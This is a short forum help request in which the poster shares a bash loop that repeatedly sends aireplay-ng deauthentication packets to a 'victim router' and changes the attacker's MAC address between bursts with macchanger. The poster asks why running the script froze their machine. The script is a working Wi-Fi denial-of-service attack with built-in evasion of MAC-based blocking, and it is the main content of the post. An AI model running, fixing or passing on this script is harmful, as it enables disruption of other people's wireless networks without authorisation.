screen freeze

i was trying to automate deauthentication process on a victim router using aireplay-ng and macchanger (continously change the mac address in a specific interval) so i typed a code in nano using bash:

‘’’
while true
do
aireplay-ng -0 10 -a E2:37:BF:05:1C:0B wlan0
ifconfig wlan0 down
macchanger -r wlan0 | grep new MAC
iwconfig wlan0 mode monitor
ifconfig wlan0 up
sleep 5
done
‘’’
I converted the file in to an executable one.when i executed the code it sent 4-5 deauth packets and then the screen froze.I had to long press the power button to get out of it.Deauthentication is working normally if i dont use macchanger and bash script written for it.Did i mess up the bash script or is there any reason i cant combine the macchanger and aireplay-ng? it would be very helpful if someone can explain why everything froze while executing the bash file.

This topic was automatically closed 120 days after the last reply. New replies are no longer allowed.